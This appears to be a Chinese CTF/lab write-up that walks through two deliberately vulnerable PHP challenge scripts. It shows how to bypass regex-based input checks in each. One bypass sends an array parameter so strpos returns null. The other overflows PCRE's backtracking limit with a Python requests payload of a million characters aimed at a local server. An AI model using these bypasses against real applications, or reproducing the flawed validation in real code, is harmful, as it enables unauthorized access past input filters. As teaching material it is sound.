目录
环境
案例1
前要
代码审计
分析
案例2
代码审计
分析
payload
环境
phpstudy
案例1
前要
php中0 1 -1 true false null 空字符 数组之间的比较
代码审计
<?php
function areyouok($greeting){
return preg_match('/Merry.*Christmas/is',$greeting);
//2.传参之后来到这个有正则匹配的函数
}
$greeting=@$_POST['greeting'];
//1.post传参
if(!areyouok($greeting)){
//3.这个if要areyouok返回false才能进来
if(strpos($greeting,'Merry Christmas') !== false){
//4.这个if要里面的strpos为字符查找函数,
//如果查找到返回字符的位置,没有就返回false
//5.根据弱类型匹配原则构造payload
echo 'flag{this is flag}';
}else{
echo 'Do you know .swp file?';
}
}else{
echo 'Do you know PHP?';
}
strpos函数官方文档提示:
经过实验,如果字符串位置放数组返回的实际是null
分析
①正则要匹配不上才能进第一个if
②第二个if又要求greeting中含有Merry Christmas
③跳出第二个的思想,根据官方文档提示如果返回的是null的话
④null !== false能返回true是因为!==参考的是严格比较=== (!=参考的==)
payload
greeting[]=
案例2
代码审计
<?php
function areyouok($greeting){
return preg_match('/Merry.*Christmas/is',$greeting);
}
//3.目的是不匹配上merrychristmas
$greeting=@$_POST['greeting'];
//1.post传参
if(!is_array($greeting)){
//2.判断是否为数组(封杀案例1的那种payload)
if(!areyouok($greeting)){
if(strpos($greeting,'Merry Christmas') !== false){
//4.匹配上merrychristmas
echo 'Merry Christmas. '.'flag{this is flag}';
}else{
echo 'Do you know .swp file?';
}
}else{
echo 'Do you know PHP?';
}
} else {
echo 'fuck array!!!';
}
?>
分析
①不能匹配到MC的同时又要匹配到MC才能拿到flag
②正则回溯吐字符100w次就会返回false(目的是防止ddos)这样第一个if就能过去了,第二个只要里面存在MC也能进,那就构造存在MC的然后又会回溯100w次以上的
payload
from requests import post
payload = {
'greeting': 'Merry Christmas' +'x'*1000000
}
res = post('http://localhost:8081/demo4.php', data=payload)
print(res.text)
注:图中所标版本复现失败,我以为是php版本高了,结果下面那个8.的复现成功了实属离奇